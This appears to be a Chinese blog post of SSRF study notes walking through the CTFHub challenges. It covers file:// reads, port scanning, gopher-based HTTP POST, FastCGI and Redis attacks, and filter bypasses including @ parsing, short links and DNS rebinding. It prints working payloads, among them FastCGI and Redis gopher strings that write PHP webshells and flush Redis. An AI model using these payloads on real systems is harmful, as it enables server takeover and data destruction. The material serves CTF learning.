SSRF学习
SSRF学习
0x01 ssrf基础
SSRF(Server-Side Request Forgery:服务器端请求伪造)
成因:服务器没有对目标地址做过滤与限制
形成环节:安全的网站应接收请求后,检测请求的合法性
攻击目标:从外网无法访问的内部系统,内网
0x02 ctfhub内技能树
内网访问
直接利用http协议访问
1 | ?url=http://127.0.0.1/flag.php |
如果有对内网IP进行检测,可以用地址解析
绕过
curl()函数解析的是第一个@后面的网址,而parse_url()函数解析的是第二个@后面的网址。
url_parse会解析成baidu.com
而curl会请求127.0.0.1
高版本中的PHP中修复了但是可以加端口号绕过
因此我们可以利用该特性构造payload
1 | http://abc@127.0.0.1:80@example.com/flag.php |
在check_inner_ip函数内认为hostname是example.com,但curl请求127.0.0.1:80/flag.php,成功获取flag
伪协议读取文件
PHP支持的伪协议
1 | file:// — 访问本地文件系统 |
1 | ?url=file:///var/www/html/flag.php |
端口扫描
在SSRF中,dict协议与http协议可以用来探测内网主机存活与端口开放情况。
1 | ?url=dict://127.0.0.1:8000 |
用burp,在intruder中,将端口设置为变量。使用Simple List扫描常用端口,或者使用NumerList进行枚举。当发现长度不同的数据包时,再用http
协议进一步探测。
1 | ?url=http://127.0.0.1:8987 |
前置知识:Gopher协议的利用
什么是gopher协议
gopher
协议是一种信息查找系统,他将Internet
上的文件组织成某种索引,方便用户从Internet
的一处带到另一处。在WWW
出现之前,Gopher
是Internet
上最主要的信息检索工具,Gopher站点也是最主要的站点,使用tcp 70
端口。利用此协议可以攻击内网的 Redis、Mysql、FastCGI、Ftp等等,也可以发送 GET、POST 请求。这拓宽了 SSRF 的攻击面。
1 | gopher 协议的格式:gopher://IP:port/_TCP/IP数据流 |
gopher协议发送http get请求
构造
HTTP
数据包
URL
编码、替换回车换行为%0d%0a
,HTTP
包最后加%0d%0a
代表消息结束发送
gopher
协议, 协议后的IP
一定要接端口
发送http post请求
POST
与GET
传参的区别:它有4
个参数为必要参数需要传递
Content-Type
,Content-Length
,host
,post
的参数
发送POST请求
利用gopher协议构造POST请求
urllib.parse
用于解析URL
urllib.parse.quote()
对URL中的特殊字符进行编码
replace()
替换字符串
1 | import urllib.parse |
注意:上面那四个参数是POST请求必须的,即POST、Host、Content-Type和Content-Length。如果少了会报错的,而GET则不用。
注意Content-Length应为POST数据内容的长度,这里为36(即字符串“key=c384d200658f258e5b5c681bf0aa29a8”的长度)。
因为urllib.parse.quote()
会将换行编码为%0A
,而在gopher协议中,进行URL编码,会将回车换行编码为%0d%0a
,所以,第二步使用replace()
将%0A
替换为%0D%0A
。接下来,拼接上gopher协议的标准格式,最后再使用一次urllib.parse.quote()
对新增的部分进行URL编码。因为新增的部分不是POST数据包的内容,所以也就不存在回车换行,也就不需要将%0A
替换为%0D%0A
。
标准gopher协议的格式如下:
1 | gopher%3A//127.0.0.1%3A80/_POST%2520/flag.php%2520HTTP/1.1%250D%250AHost%253A%2520127.0.0.1%250D%250AContent-Type%253A%2520application/x-www-form-urlencoded%250D%250AContent-Length%253A%252036%250D%250A%250D%250Akey%253Da68a3b03e80ce7fef96007dfa01dc077%250D%250A |
提交文件
首先抓取一个正常提交文件的数据包,然后使用上述脚本将其转换为gopher协议的格式。
1 | import urllib.parse |
攻击FastCGI协议
使用 Gopherus 工具生成攻击FastCGI的payload
利用条件:
- libcurl版本>=7.45.0
- PHP-FPM监听端口
- PHP-FPM版本 >= 5.3.3
- 知道服务器上任意一个php文件的绝对路径
1 | python2 gopherus.py --exploit fastcgi |
1 | gopher://127.0.0.1:9000/_%01%01%00%01%00%08%00%00%00%01%00%00%00%00%00%00%01%04%00%01%01%05%05%00%0F%10SERVER_SOFTWAREgo%20/%20fcgiclient%20%0B%09REMOTE_ADDR127.0.0.1%0F%08SERVER_PROTOCOLHTTP/1.1%0E%03CONTENT_LENGTH134%0E%04REQUEST_METHODPOST%09KPHP_VALUEallow_url_include%20%3D%20On%0Adisable_functions%20%3D%20%0Aauto_prepend_file%20%3D%20php%3A//input%0F%17SCRIPT_FILENAME/var/www/html/index.php%0D%01DOCUMENT_ROOT/%00%00%00%00%00%01%04%00%01%00%00%00%00%01%05%00%01%00%86%04%00%3C%3Fphp%20system%28%27echo%20PD9waHAgZXZhbCgkX1BPU1Rbd2hvYW1pXSk7Pz4%20%7C%20base64%20-d%20%3E%20/var/www/html/shell.php%27%29%3Bdie%28%27-----Made-by-SpyD3r-----%0A%27%29%3B%3F%3E%00%00%00%00 |
需要将生成的payload再进行一次url编码
因为GET会进行一次解码,curl也会进行一次解码
1 | gopher%3A%2F%2F127.0.0.1%3A9000%2F_%2501%2501%2500%2501%2500%2508%2500%2500%2500%2501%2500%2500%2500%2500%2500%2500%2501%2504%2500%2501%2501%2505%2505%2500%250F%2510SERVER_SOFTWAREgo%2520%2F%2520fcgiclient%2520%250B%2509REMOTE_ADDR127.0.0.1%250F%2508SERVER_PROTOCOLHTTP%2F1.1%250E%2503CONTENT_LENGTH134%250E%2504REQUEST_METHODPOST%2509KPHP_VALUEallow_url_include%2520%253D%2520On%250Adisable_functions%2520%253D%2520%250Aauto_prepend_file%2520%253D%2520php%253A%2F%2Finput%250F%2517SCRIPT_FILENAME%2Fvar%2Fwww%2Fhtml%2Findex.php%250D%2501DOCUMENT_ROOT%2F%2500%2500%2500%2500%2500%2501%2504%2500%2501%2500%2500%2500%2500%2501%2505%2500%2501%2500%2586%2504%2500%253C%253Fphp%2520system%2528%2527echo%2520PD9waHAgZXZhbCgkX1BPU1Rbd2hvYW1pXSk7Pz4%2520%257C%2520base64%2520-d%2520%253E%2520%2Fvar%2Fwww%2Fhtml%2Fshell.php%2527%2529%253Bdie%2528%2527 |
攻击Redis协议
主要利用redis未授权访问,如:写ssh-keygen公钥登录,利用计划任务反弹shell,直接写webshell等,主从复制getshell。
端口扫描到redis运行的端口,报错⬇️
1 | -ERR Syntax error, try CLIENT (LIST | KILL | GETNAME | SETNAME | PAUSE | REPLY) +OK |
利用Gopherus工具生成payload
再经过一次url编码
1 | gopher%3A//127.0.0.1%3A6379/_%252A1%250D%250A%25248%250D%250Aflushall%250D%250A%252A3%250D%250A%25243%250D%250Aset%250D%250A%25241%250D%250A1%250D%250A%252434%250D%250A%250A%250A%253C%253Fphp%2520system%2528%2524_GET%255B%2527cmd%2527%255D%2529%253B%2520%253F%253E%250A%250A%250D%250A%252A4%250D%250A%25246%250D%250Aconfig%250D%250A%25243%250D%250Aset%250D%250A%25243%250D%250Adir%250D%250A%252413%250D%250A/var/www/html%250D%250A%252A4%250D%250A%25246%250D%250Aconfig%250D%250A%25243%250D%250Aset%250D%250A%252410%250D%250Adbfilename%250D%250A%25249%250D%250Ashell.php%250D%250A%252A1%250D%250A%25244%250D%250Asave%250D%250A%250A |
传入后虽然显示504,但已经成功传入,直接访问网站下shell.php,虽然有乱码,但可以通过shell.php?cmd=来执行系统命令,用+绕过空格,默认产生的shell是使用
<?php system($_GET['cmd']); ?>
1 | http://challenge-c64563873ed3afbf.sandbox.ctfhub.com:10800/shell.php?cmd=ls+/ |
URL Bypass
@绕过
1 | http://题目要求包含的网址@实际想访问的网址 |
payload
1 | ?url=http://notfound.ctfhub.com@127.0.0.1/flag.php |
数字IP Bypass
进制转换脚本
1 |
|
利用其他各种指向127.0.0.1的地址
1 | http://localhost/ |
1 | Enclosed alphanumerics |
302跳转 Bypass
访问http://xip.io
的子域名,例如http://192.168.0.1.xip.io
,会自动重定向到http://192.168.0.1
上述方法包含了192.168.0.1
内网IP地址,可能会被正则表达式过滤掉。可以通过短地址方式来绕过。TINYURL
1 | ?url=http://0.xip.io/flag.php |
127.0.0.1被过滤了。可以将127.0.0.1用
0
或localhost
等代替
这题用短链接成功过
使用TINYURL ,在Your Long URL处输入http://127.0.0.1/flag.php
,生成短网址
1 | ?url=https://tinyurl.com/2p8s2csr |
DNS重绑定Bypass
[基于DNS重绑定的绕过](https://github.com/incredibleindishell/SSRF_Vulnerable_Lab/tree/master/DNS Rebinding based Bypass)
DNS Rebinding(be like一些替身梗)
在网页浏览过程中,用户在地址栏中输入包含域名的网址。浏览器通过DNS服务器将域名解析为IP地址,然后向对应的IP地址请求资源,最后展现给用户。而对于域名所有者,他可以设置域名所对应的IP地址。当用户第一次访问,解析域名获取一个IP地址(事先设置为白名单中的IP地址);然后,域名持有者修改对应的IP地址(比如内网127.0.0.1);用户再次请求该域名,就会获取一个新的IP地址。对于浏览器来说,整个过程访问的都是同一域名,所以认为是安全的(同源策略)。这就造成了DNS Rebinding攻击。
同源策略:如果两个页面的协议,端口(如果有指定)和域名都相同,则两个页面具有相同的源
实现攻击的两种方法:
攻击者将子域绑定到两个不同的IP。
攻击者设置一个DNS服务器,TTL很短。该DNS服务器返回的指定域名的解析结果,在两个IP之间不断切换。
网站设置DNS:https://lock.cmpxchg8b.com/rebinder.html
这个网站会随机指向两个绑定地址的其中一个
Payload:
1 | ?url=7f000001.c0a80001.rbndr.us/flag.php |
DNS记录的生存时间(TTL)
DNS服务器如果将TTL设置为0,Web服务器就不会对指定域名解析的IP进行缓存。
此特性将有助于绕过代码中的安全检查。应用程序具有两个不同的代码部分:
第一部分代码用于检查域/该域解析的IP是否在黑名单中。如果在黑名单中,则应用程序将停止进一步处理。
一旦IP/域通过了安全检查,第二部分代码会从指定URL中获取内容。
这样,Web服务器对域名进行黑名单检查时,会向DNS服务发起第一次请求,DNS服务器返回一个合法的IP地址,绕过了黑名单检测。因为DNS服务器的TTL设置为0,Web服务器使用get_contents()
加载指定URL的文件内容时,会再次向DNS服务器请求解析该域名,而这次DNS服务器会返回一个内网地址,从而成功的读取内网文件。
- 标题: SSRF学习
- 作者: Sl0th
- 创建于 : 2022-04-01 23:53:36
- 更新于 : 2024-07-03 23:54:25
- 链接: http://sl0th.top/2022/04/01/SSRF学习/
- 版权声明: 本文章采用 CC BY-NC-SA 4.0 进行许可。